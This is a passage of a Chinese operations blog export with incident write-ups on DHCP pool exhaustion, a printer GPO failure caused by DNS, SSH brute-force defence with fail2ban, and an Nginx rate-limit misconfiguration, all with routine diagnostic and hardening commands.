对应一个子网，地址池按楼层划分。\n我作为网络运维负责人，第一时间意识到这不是个别用户的问题，而是大面积故障。好在服务器区域使用的是静态 IP，不受 DHCP 影响，核心业务系统还在正常运行。但办公网的瘫痪意味着 200 人无法工作，紧急程度属于 P1 级别——必须 30 分钟内恢复。\n故障现象\r用户反馈的具体表现如下：\n新接入设备无法获取 IP：部分刚开机或重新连接的电脑显示\u0026quot;正在获取网络地址\u0026rdquo;，持续等待后最终提示\u0026quot;无 Internet 连接\u0026quot;，ipconfig /all 显示 IP 为 0.0.0.0。 已在线设备部分正常：之前已经拿到 IP 且租期未过期的设备暂时还能上网，但网络明显变慢， ping 内网网关偶尔出现 50-200ms 的异常延迟。 DHCP 请求超时：在受影响的终端上抓包，可以看到 DHCP Discover 包正常发出，但始终没有收到 DHCP Offer 回应。 关键信息：\n核心交换机（华为 S5735-L48T4X）上配置了 VLAN 10（一楼）和 VLAN 20（二楼）的 DHCP 地址池 VLAN 10 地址池：192.168.10.100 - 192.168.10.250，共 151 个地址 VLAN 20 地址池：192.168.20.100 - 192.168.20.250，共 151 个地址 楼层实际办公电脑数量：一楼约 90 台，二楼约 110 台 排查过程\r第一步：确认 DHCP 服务状态\r登录核心交换机，首先检查 DHCP Server 是否正常运行：\n1 2 3 4 5 6 7 \u0026lt;HX-Switch\u0026gt; display dhcp server statistics DHCP Server Statistics: Request Received : 4238 Offer Sent : 151 Ack Sent : 151 Discover Received : 4087 Offer Failed : 3936 关键发现：Offer Failed 达 3936 次！ 这意味着交换机收到了大量 DHCP Discover 请求，但无法回复 Offer。这几乎可以确定是地址池出了问题。\n第二步：检查地址池使用情况\r继续查看地址池的分配状态：\n1 2 3 4 5 6 7 \u0026lt;HX-Switch\u0026gt; display dhcp server ip-in-use pool vlan10 IP Address Hardware Address Lease Expired Status 192.168.10.100 00e0-4c68-01a2 2026/06/20 18:00 Used 192.168.10.101 00e0-4c68-03b5 2026/06/20 18:00 Used ...（省略中间） 192.168.10.250 a860-b117-55c3 2026/06/20 18:00 Used Total : 151 Used : 151 Idle : 0 1 2 \u0026lt;HX-Switch\u0026gt; display dhcp server ip-in-use pool vlan20 Total : 151 Used : 151 Idle : 0 地址池 100% 占用，零空闲！ VLAN 10 和 VLAN 20 的 302 个地址全部被分配。但实际办公电脑只有约 200 台，多出来的 100 多个地址被谁占走了？\n第三步：分析 DHCP 租约表\r导出完整租约表进行详细分析。我用 Python 脚本处理交换机输出的 MAC-IP 映射：\n1 \u0026lt;HX-Switch\u0026gt; display dhcp server ip-in-use pool vlan10 all 拿到全部 151 条记录后，我重点关注 MAC 地址的前缀（OUI），用来识别设备类型：\nMAC 前缀 设备类型 数量 00e0-4c Realtek（PC 网卡） 68 a860-b1 Apple（iPhone/Mac） 42 dc:a6:32 Raspberry Pi 12 88:15:44 智能家居/IoT 设备 15 ac:de:48 私有 MAC（随机化） 14 发现了！42 台 iPhone + 15 台 IoT 设备 + 12 台 Raspberry Pi + 14 台随机化 MAC 设备 = 83 台非办公设备，它们占用了大量 DHCP 地址。这些是员工个人手机、测试设备以及不明 IoT 设备。\nVLAN 20 的情况更严重：二楼有 110 台办公电脑，地址池只有 151 个，被 48 台手机和一堆 IoT 设备挤占后，留给办公电脑的只有不到 100 个——根本不够用。\n第四步：定位非法设备的接入端口\r接下来需要找到这些非办公设备是从哪些端口接入的。在交换机上查询 MAC 地址表：\n1 2 3 4 5 6 7 8 9 \u0026lt;HX-Switch\u0026gt; display mac-address dynamic vlan 10 MAC Address VLAN Port Type a860-b117-55c3 10 GE0/0/15 Dynamic a860-b117-66d4 10 GE0/0/15 Dynamic a860-b117-78e1 10 GE0/0/15 Dynamic ...（多个 Apple MAC 均从 GE0/0/15 学习到） dc:a6-32-01-ab 10 GE0/0/22 Dynamic dc:a6-32-01-cd 10 GE0/0/22 Dynamic 88:15:44-xx 10 GE0/0/28 Dynamic 发现规律：\nGE0/0/15：会议室区域的大屏和员工手机大量接入（一个端口下挂 AP，AP 下连接了数十个无线设备） GE0/0/22：研发测试区的交换机下联了 12 台 Raspberry Pi GE0/0/28：茶水间区域的 IoT 设备（智能灯控、温湿度传感器等） 根本问题很清楚了：无线 AP 没做 MAC 过滤，任何人都可以用手机连上办公 Wi-Fi 拿到 IP；研发区随意接入测试设备；IoT 设备也混在办公 VLAN 里。\n第五步：查看 DHCP 租期配置\r再看一下租期设置：\n1 2 3 \u0026lt;HX-Switch\u0026gt; display dhcp server pool vlan10 Pool Name : vlan10 Lease Day : 1 Hour : 0 Minute : 0 租期 1 天！ 手机连上 Wi-Fi 后拿到的 IP 要 24 小时才会过期释放，即使手机离开了网络，地址也一直被占着。这进一步加剧了地址池耗尽的问题。\n解决方案\r紧急恢复（5 分钟内实施）\r第一步：清除非法设备的 DHCP 租约，立即释放被占用的地址：\n1 2 3 4 5 6 7 \u0026lt;HX-Switch\u0026gt; system-view # 批量释放非办公MAC的租约 \u0026lt;HX-Switch\u0026gt; reset dhcp server ip-in-use mac-address a860-b117-55c3 pool vlan10 \u0026lt;HX-Switch\u0026gt; reset dhcp server ip-in-use mac-address a860-b117-66d4 pool vlan10 # ...（按MAC前缀批量清除所有Apple/iOS设备的租约） \u0026lt;HX-Switch\u0026gt; reset dhcp server ip-in-use pool vlan10 conflict # 清除冲突地址 由于手动一条条清太慢，我用了更高效的方法——缩短租期到 1 小时，让所有现有租约快速过期：\n1 2 3 4 \u0026lt;HX-Switch\u0026gt; dhcp server ip-pool vlan10 \u0026lt;HX-Switch-vlan10\u0026gt; lease day 0 hour 1 minute 0 \u0026lt;HX-Switch\u0026gt; dhcp server ip-pool vlan20 \u0026lt;HX-Switch-vlan20\u0026gt; lease day 0 hour 1 minute 0 这样 1 小时后所有设备的租约都会到期需要重新续租，到那时我们再通过端口安全策略拦截非法设备。\n第二步：临时扩大地址池，缓解当前压力：\n1 2 3 4 5 \u0026lt;HX-Switch\u0026gt; dhcp server ip-pool vlan10 \u0026lt;HX-Switch-vlan10\u0026gt; network 192.168.10.0 mask 255.255.254.0 # 地址范围从 .100-.250 扩大到 .1-.510（实际可用约 500） \u0026lt;HX-Switch\u0026gt; dhcp server ip-pool vlan20 \u0026lt;HX-Switch-vlan20\u0026gt; network 192.168.20.0 mask 255.255.254.0 将子网掩码从 /24 改为 /23，地址池翻倍，确保即使有手机接入也不会耗尽。\n注意：扩大子网后需要同步更新上联防火墙的路由和 NAT 规则。\n约 3 分钟后，用户开始陆续恢复网络连接。紧急恢复完成。\n根治方案（当天下午实施）\r1. VLAN 隔离——IoT 和访客设备独立网段\n1 2 3 4 5 6 7 8 9 10 11 \u0026lt;HX-Switch\u0026gt; vlan 30 # IoT专用VLAN \u0026lt;HX-Switch-vlan30\u0026gt; dhcp server ip-pool iot \u0026lt;HX-Switch-iot\u0026gt; network 192.168.30.0 mask 255.255.255.0 \u0026lt;HX-Switch-iot\u0026gt; lease day 0 hour 0 minute 30 # IoT设备租期30分钟 \u0026lt;HX-Switch-iot\u0026gt; gateway-list 192.168.30.1 \u0026lt;HX-Switch\u0026gt; vlan 40 # 访客Wi-Fi VLAN \u0026lt;HX-Switch-vlan40\u0026gt; dhcp server ip-pool guest \u0026lt;HX-Switch-guest\u0026gt; network 192.168.40.0 mask 255.255.255.0 \u0026lt;HX-Switch-guest\u0026gt; lease day 0 hour 2 minute 0 # 访客租期2小时 \u0026lt;HX-Switch-guest\u0026gt; gateway-list 192.168.40.1 无线 AP 配置双 SSID：Office-WiFi（仅办公设备，绑定 VLAN 10/20）和 Guest-WiFi（访客/手机，绑定 VLAN 40），通过 802.1X 认证区分合法办公设备。\n2. 端口安全——限制接入设备数量\n1 2 3 4 5 6 7 8 9 \u0026lt;HX-Switch\u0026gt; interface GE0/0/15 # 会议室端口 \u0026lt;HX-Switch-GE0/0/15\u0026gt; port-security enable \u0026lt;HX-Switch-GE0/0/15\u0026gt; port-security max-mac-num 5 # 最多5台设备 \u0026lt;HX-Switch-GE0/0/15\u0026gt; port-security protect-action shutdown # 超限则关闭端口 \u0026lt;HX-Switch\u0026gt; interface GE0/0/22 # 研发测试区 \u0026lt;HX-Switch-GE0/0/22\u0026gt; port-security enable \u0026lt;HX-Switch-GE0/0/22\u0026gt; port-security max-mac-num 20 # 研发区允许较多设备 \u0026lt;HX-Switch-GE0/0/22\u0026gt; port-security protect-action restrict # 超限仅丢弃新MAC 3. DHCP 租期优化\n办工 VLAN：租期从 1 天调整为 8 小时（足够一个工作日，下班后地址自动释放） IoT VLAN：租期 30 分钟（IoT 设备重启频繁，短租期避免地址浪费） 访客 VLAN：租期 2 小时（访客停留时间有限） 4. DHCP Snooping 防护\n1 2 3 4 5 \u0026lt;HX-Switch\u0026gt; dhcp snooping enable \u0026lt;HX-Switch\u0026gt; vlan 10 \u0026lt;HX-Switch-vlan10\u0026gt; dhcp snooping enable \u0026lt;HX-Switch\u0026gt; interface GE0/0/1 # 上联口（信任口） \u0026lt;HX-Switch-GE0/0/1\u0026gt; dhcp snooping trust 防止非法 DHCP Server 干扰，同时记录 DHCP 绑定表便于审计。\n根因分析\r问题的根本原因有三层：\n网络架构设计缺陷：所有设备（办公电脑、手机、IoT、测试设备）混在同一个 VLAN 里，没有按设备类型做网络隔离。地址池按\u0026quot;办公电脑数量\u0026quot;规划，完全忽略了无线 AP 下挂的手机和 IoT 设备。\nDHCP 租期过长：1 天的租期导致设备断开连接后 IP 仍然被占用长达 24 小时。手机这种高流动性设备（连上 Wi-Fi 就拿 IP，离开后 IP 一直不释放）是地址池耗尽的最大推手。\n无线网络缺乏准入控制：办公 Wi-Fi 无认证无过滤，任何人的手机都可以随意接入，等于给 DHCP 地址池开了一个无底洞。\n三层因素叠加：架构上没有隔离 → 准入上没有限制 → 租期上没有优化 → 地址池被挤爆。\n预防措施\r基于这次故障，我们制定了以下长期预防措施：\n1. 定期巡检 DHCP 地址池利用率\n编写巡检脚本，每小时采集地址池利用率并推送监控：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import paramiko import re def check_dhcp_pool(switch_ip, pool_name): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(switch_ip, username=\u0026#39;admin\u0026#39;, password=\u0026#39;xxx\u0026#39;) cmd = f\u0026#39;display dhcp server ip-in-use pool {pool_name}\u0026#39; output = ssh.exec_command(cmd)[1].read().decode() # 解析 Total / Used / Idle match = re.search(r\u0026#39;Total\\s*:\\s*(\\d+)\\s*Used\\s*:\\s*(\\d+)\\s*Idle\\s*:\\s*(\\d+)\u0026#39;, output) if match: total, used, idle = int(match.group(1)), int(match.group(2)), int(match.group(3)) utilization = used / total * 100 if utilization \u0026gt; 85: send_alert(f\u0026#39;DHCP池 {pool_name} 利用率 {utilization:.1f}%，空闲仅 {idle} 个\u0026#39;) ssh.close() # 定时巡检所有地址池 for pool in [\u0026#39;vlan10\u0026#39;, \u0026#39;vlan20\u0026#39;, \u0026#39;iot\u0026#39;, \u0026#39;guest\u0026#39;]: check_dhcp_pool(\u0026#39;10.0.0.1\u0026#39;, pool) 2. VLAN 规划标准化\n新建网络区域必须遵循 VLAN 隔离原则：\n办工设备 VLAN：仅允许通过 802.1X 认证的设备接入 IoT 设备 VLAN：单独隔离，ACL 限制只能访问特定服务器 访客 VLAN：独立 SSID，ACL 限制只能访问 Internet，禁止访问内网资源 3. 地址池容量预留\n地址池规划时预留 50% 以上冗余。例如 200 台办公设备，地址池至少 300 个地址。同时预留一个备选子网，在紧急扩容时可快速启用。\n4. 无线网络准入强化\n办工 Wi-Fi 启用 802.1X 企业认证，绑定 AD 域账号 访客 Wi-Fi 启用 Web 认证（短信验证码或临时账号） 定期审计无线 AP 的关联终端列表，清理异常设备 5. 建立变更审批流程\n任何人接入非办公设备（测试服务器、IoT 设备等）必须提前提交网络变更申请，运维团队评估 VLAN 归属和地址池容量后才允许接入。\n总结\r这次故障从发现到紧急恢复用了约 15 分钟，根治方案在当天下午完成。最大的教训是：网络规划不能只看\u0026quot;有多少台电脑\u0026quot;，要看\u0026quot;有多少台设备会连上来\u0026quot;。\n在移动办公时代，每个员工至少有一台手机会连 Wi-Fi，加上各种 IoT 设备和测试设备，实际接入数往往是办公电脑数的 1.5-2 倍。如果地址池按电脑数来规划，必然会被挤爆。\n另一个关键认知是：DHCP 租期不是越大越好。长租期在设备稳定的场景（服务器、固定工位）是好实践，但在高流动性场景（手机、访客）就是灾难。不同类型的设备要用不同的租期策略。\n最后，网络隔离是最基本的防护——把办公、IoT、访客分到不同 VLAN，不仅仅是为了安全，也是为了资源管理。当你发现一个 VLAN 的地址池快满时，至少不会拖垮其他 VLAN 的正常设备。\n","date":"2025-03-27T12:15:27Z","permalink":"/posts/59789918/","title":"记一次 DHCP 地址池耗尽引发的大面积断网"},{"content":"问题背景\r周二上午9点刚过，行政部的李姐就冲进IT办公室：\u0026ldquo;王工，3楼、4楼新装的打印机一台都用不了，上周不是已经批量推送过去了吗？\u0026rdquo;\n事情要从一周前说起。我们公司上周搬迁，3楼、4楼办公区新增了6台网络打印机（HP M438n），按计划通过组策略（GPO）批量推送到对应的计算机OU。理论上只要机器重启或者刷新策略，就能自动映射好打印机。但现实是——80台机器里只有30台正常，剩下50台分布在3楼、4楼全部报错。\n影响范围不算小：3楼、4楼两个楼层加起来80个工位，行政、财务、销售部门都在这一片，业务基本停摆。紧急程度：P1（影响业务），需要在上午11点前给一个临时方案，下午前彻底解决。\n故障现象\r正常的那30台机器，登录后能在\u0026quot;设备和打印机\u0026quot;里看到新增的6台打印机，能正常打印。\n出问题的50台机器表现完全一致：\n打开\u0026quot;设备和打印机\u0026quot;，6台打印机一台都不显示； 手动运行\\\\printserver\\PrintInstaller\\setup.exe安装驱动，提示： 1 Windows 无法连接到打印机，操作失败,错误为 0x0000011b 打开printmanagement.msc（打印管理），本机的\u0026quot;打印机\u0026quot;列表是空的，没有任何队列； 事件查看器 → 系统日志里刷出大量红色错误： 1 2 错误 application 0 0 PrintService Spooler 正在关闭。 每隔2-3分钟就重复一次。 看到 0x0000011b 第一反应是今年闹得沸沸扬扬的 PrintNightmare 漏洞补丁导致的打印共享问题。但我们推的是本地驱动直连（IP直连），不应该走 SMB 共享才对。这个直觉告诉我——根因可能和漏洞补丁没关系，得另找思路。\n排查过程\r第一步：先解决\u0026quot;能不能用\u0026quot;的问题（止血）\r50台机器全靠脚本临时修不现实。我先让3楼前台、4楼前台、销售部主管这3台\u0026quot;关键岗\u0026quot;电脑单独处理：\n1 2 3 4 5 # 临时方案：手动添加打印机 # 走IPP端口直连，不依赖SMB共享 Add-Printer -Name \u0026#34;HP-M438n-3F-01\u0026#34; ` -DriverName \u0026#34;HP Universal Printing PCL 6\u0026#34; ` -PortName \u0026#34;IP_192.168.30.201\u0026#34; 测试发现：走IP直连可以装上。所以问题不在打印机本身，也不在网络层面（ICMP、9100端口都通）。问题卡在\u0026quot;批量推送\u0026quot;这个动作上。\n第二步：检查GPO是否真的下发到机器\r在出问题的机器上跑：\n1 gpresult /h C:\\gpo_report.html 打开报告一看——计算机配置里包含了我们那条打印机映射策略，OU归属也正确。策略是有的。\n第三步：手动强制刷新策略\r1 gpupdate /force 执行完重启，问题依旧。说明GPO能下发到，但执行动作的时候挂了。\n第四步：去看脚本到底干了啥\r打印机映射脚本本质上是个开机脚本，用 rundll32 printui.dll 走PointAndPrint模式：\n1 rundll32 printui.dll,PrintUIEntry /in /n \u0026#34;\\\\printserver\\HP-M438n-3F-01\u0026#34; 这里有 \\\\printserver\\！ 也就是说，脚本虽然最终连的是IP直连打印机，但驱动安装阶段还是要回到打印服务器去拉驱动文件。\n但前面排过 SMB 没通吗？我们马上测一下：\n1 net view \\\\printserver 提示：发生系统错误 53。找不到网络路径。\n哦豁，问题就出在这。50台机器都 ping 不通 printserver 这个主机名（DNS解析失败），而那30台正常的机器是上个月搬迁前就装好的——它们的本地 DNS 缓存里还残留着 printserver 的旧解析记录（指向搬迁前的服务器IP），所以\u0026quot;看起来\u0026quot;能工作。\n第五步：定位 DNS 解析失败原因\r在出问题的机器上：\n1 nslookup printserver 返回：\n1 2 3 服务器: UnKnown Address: 192.168.10.5 *** UnKnown 找不到 printserver: Non-existent domain DNS服务器是我们内部的AD DC（192.168.10.5），正常的。但 printserver 这条A记录不在了。\n立即去DNS管理器查看：果然，搬迁那天IT同事在迁移打印服务器到新IP（192.168.30.200）的时候，只改了A记录的IP值，没保存。但诡异的是，有30台机器还能解析出来——后来查证，那30台机器在搬迁当天重启过，本地DNS缓存里有过临时解析，缓存还没过期；剩下50台上周都没重启过，今天一刷新就全暴露了。\n第六步：验证修复\rDNS 修复后，在一台问题机器上 ipconfig /flushdns，然后 gpupdate /force 重启——打印机全出来了。\n解决方案\r1. DNS 修复（治本）\r在DNS管理器里：\n进入 printserver 的A记录，重新保存（值是对的，只是没保存成功）； 顺手在DHCP里给所有客户端推送 DNS 搜索域 corp.local，避免单点主机名解析； 给 printserver 加一条别名（CNAME）：prt，双管齐下防止单点故障。 2. 脚本改造（治标+预防）\r把脚本里所有 \\\\printserver\\ 改成 IP 直连（\\\\192.168.30.200\\），或者干脆全部用 Add-Printer 走IPP，彻底摆脱SMB依赖：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 改造后的脚本（节选） $printers = @( @{Name=\u0026#34;HP-M438n-3F-01\u0026#34;; IP=\u0026#34;192.168.30.201\u0026#34;}, @{Name=\u0026#34;HP-M438n-3F-02\u0026#34;; IP=\u0026#34;192.168.30.202\u0026#34;}, @{Name=\u0026#34;HP-M438n-4F-01\u0026#34;; IP=\u0026#34;192.168.30.211\u0026#34;} ) foreach ($p in $printers) { $portName = \u0026#34;IP_$($p.IP)\u0026#34; if (-not (Get-PrinterPort -Name $portName -ErrorAction SilentlyContinue)) { Add-PrinterPort -Name $portName -PrinterHostAddress $p.IP } if (-not (Get-Printer -Name $p.Name -ErrorAction SilentlyContinue)) { Add-Printer -Name $p.Name ` -DriverName \u0026#34;HP Universal Printing PCL 6\u0026#34; ` -PortName $portName } } 3. 应急方案\r把上面这个 PowerShell 脚本放到共享路径 \\\\fileserver\\IT\\Tools\\RepairPrinters.ps1，让有问题的用户右键以管理员运行一次，先把业务恢复。\n根因分析\r表面看是打印机没装上，根因是变更管理没闭环：\n搬迁当天同事修改DNS记录时，没有验证保存结果（UI上点保存和实际写入是有区别的，UAC、域权限、AD复制延迟都可能让\u0026quot;看起来保存了\u0026quot;但实际没生效）； GPO 推送脚本强依赖主机名 \\\\printserver\\，没有兜底机制； 没有打印机连接状态的监控告警，等到用户主动报障才发现，业务影响已经扩大。 说白了，单点 DNS 故障 + 强依赖主机名 + 零监控，三连击凑齐了，事故只是时间问题。\n预防措施\r针对这次问题，给后续运维工作立了三条规矩：\n变更后必验证：所有 DNS、DHCP、GPO 类变更必须变更前快照 + 变更后 5 分钟内 nslookup 验证，并在群内截图留痕。重要变更申请双人复核； 脚本去单点依赖：所有登录脚本、开机脚本里禁止写裸主机名，必须用 FQDN（printserver.corp.local）或 CNAME 别名，并且关键脚本增加 fallback 逻辑——主路径走不通就走IP直连； 加监控：用 Zabbix 监控关键打印机（IP在线、墨盒、卡纸）和域内关键主机名解析成功率，超过 5% 失败率自动告警。 监控盲区是最贵的盲区，这次等于交了50台机器+1个上午的学费。\n总结\r这次故障给团队最深的教训是：用户报障的\u0026quot;现象\u0026quot;和\u0026quot;根因\u0026quot;之间，往往隔了 3-4 层跳转。从打印机没装好 → 0x0000011b → GPO没生效 → DNS记录丢失，4步才到根因。如果一开始就盯着打印机本身（驱动、端口、网络），会浪费大量时间。\n排查这种\u0026quot;批量出问题\u0026quot;的场景，最快的破局点不是\u0026quot;找正常的30台和异常的50台有什么区别\u0026quot;，而是直接去看\u0026quot;异常的那批，在哪一步出错了\u0026quot;。这次 nslookup printserver 这一下，5分钟定位了根因，比逐个机器查 GPO 应用日志高效得多。\n运维老炮都懂的道理：先看 DNS，再看网络，最后看应用。别上来就重启服务。\n","date":"2025-11-03T02:43:03Z","permalink":"/posts/1ceacaf7/","title":"AD 域环境下打印机批量部署失败的处理手记"},{"content":"一、问题背景\r我司有一台面向公网的跳板/运维服务器 bastion01（CentOS 7.9，内核 3.10，公网 IP 203.xx.xx.30），用于 SSH 接入内网资产，对外开放 22 端口。为防范暴破，早年已部署 fail2ban 0.11，对 SSHD 的 sshd jail 配置为 5 分钟内失败 5 次即 ban 600 秒。同时系统启用 firewalld 作为底层防火墙。该服务器承载约 30 名运维人员的日常登录，平时流量平稳。\n2025-12-16 下午 17:40 左右，我收到 Zabbix 告警：bastion01 的 CPU 软中断（si）与 sshd 进程数异常升高，同时 fail2ban 的 ban 动作日志出现频率激增。作为当班安全运维，我登录研判，确认为一次规模化 SSH 暴力破解攻击。\n二、故障现象\rfail2ban 日志（/var/log/fail2ban.log）在 17:38 起密集出现封禁记录：\n1 2 3 4 2025-12-16 17:38:12 bastion01 fail2ban.actions[812]: NOTICE [sshd] Ban 193.xx.xx.22 2025-12-16 17:38:55 bastion01 fail2ban.actions[812]: NOTICE [sshd] Ban 45.xx.xx.91 2025-12-16 17:39:31 bastion01 fail2ban.actions[812]: NOTICE [sshd] Ban 218.xx.xx.170 ... (17:38-17:58 共 Ban 412 个 IP) 系统侧现象：\njournalctl -u sshd 显示海量 Failed password for invalid user 与 Failed password for root，每秒数十次。 iptables -L f2b-sshd -n -v 中 fail2ban 自动生成的链已积累数百条 DROP 规则，单链接近上限。 CPU 中 si（软中断）占用达 35%，sshd 子进程堆积到 200+，last 显示无成功暴破登录（说明账号侧暂未失守，但服务被\u0026quot;噪声\u0026quot;拖慢）。 直观判断：服务器正遭受来自大量境外 IP 的分布式 SSH 暴破，fail2ban 在自动封禁，但规则膨胀已影响性能。\n三、排查过程\r第一步：量化攻击规模与来源。\n统计 /var/log/secure 中的失败登录来源与尝试账号：\n1 2 3 4 5 6 7 8 9 10 grep \u0026#34;Failed password\u0026#34; /var/log/secure | awk \u0026#39;{print $11}\u0026#39; | sort | uniq -c | sort -rn | head # 412 193.xx.xx.22 # 388 45.xx.xx.91 # 351 218.xx.xx.170 # ... (Top 来源为俄罗斯/巴西/越南 ASN) grep \u0026#34;Failed password\u0026#34; /var/log/secure | awk \u0026#39;{print $9}\u0026#39; | sort | uniq -c | sort -rn | head # root 2981 # admin 1102 # test 883 # oracle 540 确认攻击者主要爆破 root 及常见弱账号名，且使用分布式 IP 池以规避单 IP 封禁阈值。\n第二步：确认是否已有成功入侵。\n检查成功登录记录与异常会话：\n1 2 3 4 last -ai | head # 仅见到 30 名已知运维的公网/办公网 IP，无境外成功登录 grep \u0026#34;Accepted password\u0026#34; /var/log/secure | grep -vE \u0026#34;58.xx.xx.10|10.20\u0026#34; | wc -l # 0 (无异常成功登录) 同时核查 authorized_keys 与 /etc/passwd 有无新增可疑账号，未发现后门。结论：攻击被拦截在认证阶段，尚未得手。\n第三步：评估 fail2ban 自身压力。\n1 2 3 4 iptables -L f2b-sshd -n | wc -l # 470 (规则接近 iptables 单链 500 条经验上限，匹配性能下降) systemctl status fail2ban | grep -i memory # 内存占用较平日上涨 3 倍 (规则表过大) 确认 fail2ban 虽在正常工作，但 ban 列表无上限增长已造成性能劣化，需要临时减负。\n四、解决方案\r1. 临时减压（止血）：\n缩短 ban 时长并限制单链规模，避免规则堆积拖垮性能：将 bantime 临时调为 3600 秒、并启用 maxmatches 去重。 对攻击最密集的 3 个 ASN 段在 firewalld 上做整体封锁（比逐 IP 高效）： 1 2 3 firewall-cmd --permanent --add-rich-rule=\u0026#39;rule family=ipv4 source address=193.xx.xx.0/24 reject\u0026#39; firewall-cmd --permanent --add-rich-rule=\u0026#39;rule family=ipv4 source address=45.xx.xx.0/24 reject\u0026#39; firewall-cmd --reload 重启 fail2ban 以清空过度膨胀的 ban 列表：systemctl restart fail2ban。 2. 加固 SSH 防护（治本）：\n编辑 /etc/ssh/sshd_config 并 systemctl restart sshd：\n1 2 3 4 5 PermitRootLogin no PasswordAuthentication no # 全面改用密钥登录 MaxAuthTries 3 LoginGraceTime 20 AllowUsers ops1 ops2 ops3 # 显式白名单 为 30 名运维统一签发 ED25519 密钥并禁用口令，从根本上消除口令暴破面。\n3. 收口网络暴露面：\n通过边界防火墙将 22 端口仅对运维办公网段（58.xx.xx.10/24）与 VPN 网段开放，公网不再直接暴露；保留 fail2ban 作为纵深防御的最后一道。\n处置后 18:10 观测，失败登录归零，sshd 进程数回落到个位数，CPU si 恢复正常。\n五、根因分析\r暴露面过大：bastion01 的 22 端口直接对公网全开，等于把认证入口暴露在全球暴破僵尸网络面前，这是事件发生的根本原因。 口令认证脆弱：即便有 fail2ban，口令登录仍给攻击者留下\u0026quot;试错\u0026quot;空间；分布式 IP 池还能稀释单 IP 失败计数，绕过敏感阈值。 fail2ban 配置粗放：bantime 与规则上限未设防，攻击洪峰下 ban 列表无限膨胀，反而成为新的性能负担，属于\u0026quot;防御机制被攻击放大\u0026quot;的次生问题。 root 可登录：PermitRootLogin yes 直接给攻击者明确的爆破目标用户名。 六、预防措施\r最小化暴露：所有公网 SSH 仅对受信网段/VPN 开放，非必要不暴露 22；可改用非标准端口 + 端口敲门（port knocking）进一步降低被扫概率。 密钥优先：推行 PasswordAuthentication no + ED25519/RSA 密钥 + 可选硬件 Key（FIDO2），口令暴破从根上失效。 精细化 fail2ban：设置 bantime.increment = true 递增封禁、maxretry 收紧、maxmatches 限制规则数，并配合 ipset 而非纯 iptables 链以承载大规模封禁。 部署防暴破纵深：前置 fail2ban 之外，可叠加 Cloudflare/网关层的 WAF 与速率限制，或在堡垒机启用 MFA（TOTP）。 常态化监控：将 fail2ban 的 ban 速率、sshd 失败计数接入 Zabbix/Grafana 看板，设置\u0026quot;单位时间内 ban 数突增\u0026quot;的主动告警，先于性能劣化被发现。 七、总结\r这次事件是公网 SSH 暴露面被分布式暴破的典型案例。fail2ban 在认证层成功拦截了全部入侵尝试、未让任何境外 IP 登录得手，证明了它在\u0026quot;最后一道防线\u0026quot;上的价值；但它也用自身规则膨胀的副作用提醒我们：防御机制本身需要被正确调参，否则在攻击洪峰下会变成新的瓶颈。真正的解决之道不在\u0026quot;封得更狠\u0026quot;，而在\u0026quot;暴露得更小\u0026quot;——把 22 端口收进受信网段、用密钥替代口令，让暴破连\u0026quot;试错的机会\u0026quot;都没有。安全运维的常态，就是用一层层收敛的攻击面，把麻烦挡在门外头。\n","date":"2025-12-16T17:58:32Z","permalink":"/posts/2d78d6bc/","title":"记一次 SSH 暴力破解触发 fail2ban 自动封禁的处置"},{"content":"一、问题背景\r我们的主站 www.example.com 使用 Nginx 1.24 作为七层接入网关，前面是 CDN，后面挂 8 个应用节点。由于此前遭遇过一次恶性 CC 攻击，安全团队要求对核心接口加限流。目标是：拦住异常高频的刷接口行为，但不能影响正常用户的浏览和下单。\n限流方案采用 Nginx 原生的 limit_req 模块（基于漏桶算法），按客户端 IP 做粒度。上线时间是周一下午，由运维在网关配置中新增了一段 limit_req_zone + limit_req 规则，并 nginx -s reload 平滑生效。本以为只是\u0026quot;加一道保险\u0026quot;，没想到立刻引发客诉。\n二、故障现象\rreload 后大约 10 分钟，客服群开始炸：大量用户反馈\u0026quot;页面打开就提示 503 Service Temporarily Unavailable\u0026quot;，且不是刷子，是普通用户，包括公司内网同事自己访问也中招。\n监控侧：\nNginx 503 返回码占比从 0.1% 飙到 18%； limit_req 拒绝计数（$limit_req_status）持续高位： 1 limit_req_status rejected: 12453 (last 1 min) 被拒的 IP 高度分散，并非集中在少数异常 IP，说明是正常流量被误杀； 应用节点 CPU、连接数都很低，证明后端完全健康，问题 100% 出在网关限流层。 这与\u0026quot;防 CC\u0026quot;的目标完全背离：攻击没拦住多少，正常用户先被砍了一半。\n三、排查过程\r第一步，定位是哪条 limit_req 规则在拒绝。打开 Nginx 的 limit_req_status 日志字段，确认返回 503 的请求都带 limit_req_status=503，且命中的 zone 是 perip。\n第二步，看配置。问题一目了然：\n1 2 3 4 5 6 7 8 9 10 http { limit_req_zone $binary_remote_addr zone=perip:10m rate=2r/s; server { location / { limit_req zone=perip burst=3 nodelay; proxy_pass http://backend; } } } 三个致命点：\nrate=2r/s 太小：每个 IP 平均每秒只允许 2 个请求。现代网页一次打开就并发数十个请求（html + css + js + 图片 + api），瞬时远超 2/s。 burst=3 太小：只缓冲 3 个超出请求就拒绝，正常用户的突发并发根本装不下。 nodelay 误用：nodelay 让 burst 内的请求不排队立即处理，等于把限流瞬时阈值直接抬到 rate+burst=5，超出立刻 503，没有平滑过渡，正常用户的并发瞬间被打挂。 第三步，验证判断。用正常浏览器行为模拟单 IP 的首屏请求数：\n1 2 3 4 5 6 $ curl -s -o /dev/null -w \u0026#34;%{http_code}\\n\u0026#34; https://www.example.com/ 200 $ # 并发模拟首屏 20 个资源请求 $ seq 20 | xargs -P 20 -I{} curl -s -o /dev/null -w \u0026#34;%{http_code}\\n\u0026#34; https://www.example.com/assets/{} 2\u0026gt;/dev/null | sort | uniq -c 17 503 3 200 单 IP 并发 20 个请求，17 个被 503——完美复现用户\u0026quot;打开就报错\u0026quot;。这正是 rate+burst=5 在 nodelay 下的直接后果。\n第四步，确认 CDN 是否放大问题。由于前面是 CDN，回源到 Nginx 时客户端 IP 已被 X-Forwarded-For 携带，但 limit_req_zone 用的是 $binary_remote_addr（即 CDN 边缘节点 IP）。这意味着所有经同一 CDN 节点回源的用户被当成同一个 IP 限流，进一步把正常流量成片误杀。这是第二个隐藏坑。\n四、解决方案\r应急先回退，再给出正确配置：\n立即 nginx -s reload 回退到无 limit_req 的版本，503 比例 1 分钟内归零，客诉停止。\n修正限流参数，按\u0026quot;正常用户首屏并发约 20~30 